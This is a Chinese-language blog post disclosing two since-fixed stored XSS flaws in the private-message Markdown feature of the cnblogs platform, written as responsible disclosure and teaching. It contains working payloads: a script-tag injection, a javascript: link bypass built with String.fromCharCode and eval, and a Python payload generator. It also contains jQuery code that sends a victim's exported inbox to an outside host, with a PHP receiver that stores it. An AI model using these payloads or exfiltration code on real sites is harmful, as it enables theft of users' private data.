洒家最近在博客园后台发送站内信(短消息)的时候发现了一个毫无技术含量的存储型 XSS,现已通知管理员且已修复。
注:这在以前是要提交乌云的节奏啊,可惜乌云倒闭了,那就直接私信管理员吧。
声明
本人所做以下所有实验均使用本人的账号,未攻击和窃取他人信息。
本文提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本人不承担任何法律及连带责任。
以前的文章写得真叫一个乱。(2020 年 10 月 27 日迁移老博客时注)
第一波 XSS 漏洞¶
发现漏洞¶
博客园默认不自带 <meta name="viewport" content="width=device-width, initial-scale=1" />
这种标签,在移动端看着很不舒服。洒家在博客园的博客设置中手动添加自定义 HTML 会被过滤,考虑到可以利用 JavaScript 来添加这一标签,洒家决定私信管理员申请 js 权限。
洒家给管理员私信申请 js 权限的时候,写完消息正文点击 Preview,发现插入的 meta 标签消失了。查看元素发现 meta 标签直接作为 html 元素插入了 DOM,而没有进行转义。洒家继续尝试 <script>alert(1);</script>
,点击 Preview,发现竟然直接弹窗。
一枚毫无技术含量的 XSS 漏洞 Get。
使用我自己写的 XSS 平台 XSS So Easy 接收 Cookie:
漏洞成因¶
博客园后台短消息支持 Markdown,而 Markdown 中可以直接插入 HTML。抓包之后容易发现,博客园后台短消息 Preview API 为:
POST /common/MarkDownTransform HTTP/1.1
Host: msg.cnblogs.com
{"content":"# test XSS 2\n<script>alert(1);</script>"}
修复后的响应:
{"result":"success","content":"\u003ch1 id=\"test-xss-2\"\u003etest XSS 2\u003c/h1\u003e\n\u003cp\u003e\u0026lt;script\u0026gt;alert(1);\u0026lt;/script\u0026gt;\u003c/p\u003e\n"
发送的接口为:
POST /ajax/msg/send HTTP/1.1
Host: msg.cnblogs.com
{"incept":"收件人","title":"test XSS 2","content":"# test XSS 2\n<script>alert(1);</script>\n<script>alert(2);</script>"}
目测博客园后台站内信短消息在发送和预览的时候,都会调用 Markdown 转换 API,然后将得到的 HTML 存储到数据库。这个过程中没有对 HTML 标签过滤转义导致 XSS。
博客园的修复方法¶
再次抓包可以发现,博客园的修复方法是转义 < > "
等几个特殊字符为 < > "
。例如:
发送:
{"content":"# test chars\nafeaf > abcd < defg ' ab \" gh \\ aab"}
返回:
{"result":"success","content":"\u003ch1 id=\"test-chars\"\u003etest chars\u003c/h1\u003e\n\u003cp\u003eafeaf \u0026gt; abcd \u0026lt; defg \u0027 ab \u0026quot; gh \\ aab\u003c/p\u003e\n"}
即:
<h1 id="test-chars">test chars</h1>
<p>afeaf > abcd < defg ' ab " gh \ aab</p>
有效防止了新的短消息 XSS。
但是,已经发送的短消息不受影响,可见过滤只发生在进入数据库过程,数据库中存储的是已过滤内容。
总结¶
后台程序员直接照搬 Markdown 转换代码却忘了过滤敏感 HTML 标签,这种场合应该限制 Markdown 的直接插入 HTML 标签功能,还是要提高自己的姿势水平和安全意识。
附:<meta>
标签已经默认加上,终于可以愉快地用手机看博客了。
第二波 XSS 漏洞¶
2016 年 10 月 6 日 16:43:57 Update
然而,仅仅过滤了几个敏感字符就能彻底解决这个 XSS 问题吗?答案未必。本文将在通知管理员修复后更新。
Markdown 的 XSS 问题¶
如前文所述,博客园官方过滤了 < > "
等字符,然而这并不能完全解决 Markdown 的 XSS 问题。
如果插入 Markdown 代码:[Click me](javascript:alert(1))
,博客园的转换器会转换为:
<p><a href="javascript:alert(1)">Click me</a></p>
显然又造成了 XSS 漏洞。
然而这种利用方法对代码有一定要求,需要一些转换才能执行任意代码。以博客园使用的转换器为例,该转换器至少有 2 点限制:
- JavaScript 代码中不能含有
"
和'
,否则会被 URL 编码从而无法执行 - JavaScript 代码中不能嵌套
()
,即不能出现eval(String.fromCharCode(97,98))
,否则无法转换为 HTML 的<a>
标签。
我使用以下方法绕过此限制:
[Click me](javascript:aaa=String.fromCharCode(97,108,101,114,116,40,49,41);eval(aaa))
代码已被编码为 ASCII 码,从而可以执行任意代码。
可以用以下 Python 代码来生成 Payload:
pay = 'alert(1);'
print '[please check this awesome article](javascript:aaa=String.fromCharCode(%s);eval(aaa))' % (','.join([str(ord(c)) for c in pay]),)
后续的利用方法¶
既然已经可以执行任意 JavaScript 代码,那么后续的利用就人有多大胆地有多大产了。常见的思路大概就是偷 Cookie,删文章,改设置,甚至对于这个漏洞来说做一个 XSS 蠕虫是完全可行的。
洒家原来想通过 XSS 来诱导删除任意文章,但是对于博客园来说,短消息的域名 msg.cnblogs.com
和文章管理的域名 i.cnblogs.com
之间存在跨域问题,利用较困难。后来洒家转向窃取用户收件箱的所有内容。
博客园的备份所有短消息的 API 是:https://msg.cnblogs.com/ajax/Msg/ExportAll,于是可以构造以下恶意代码:
$.get('https://msg.cnblogs.com/ajax/Msg/ExportAll',function(data,status){$.ajax({url:'https://www.example.com/',data:data,contentType:'text/plain',processData:false,type:'POST'})})
接收端的代码(PHP):
<?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:POST');
if($_SERVER["REQUEST_METHOD"] === 'POST'){
file_put_contents('./data/xssData.txt', file_get_contents('php://input') . "\n-------------------\n", FILE_APPEND);
}
点击链接执行恶意代码的效果:
修复方法¶
这次的漏洞修复工作更加复杂,涉及到 Markdown 解析器的修改,显然,你们更专业。
后续¶
2016 年 10 月 14 日 Update
现已修复,Preview 功能不变,但是发送时貌似是经过了反 XSS 的过滤或是什么,现在的 <a>
标签都变为了:
用 ![]()
和 []()
的方法都失效了。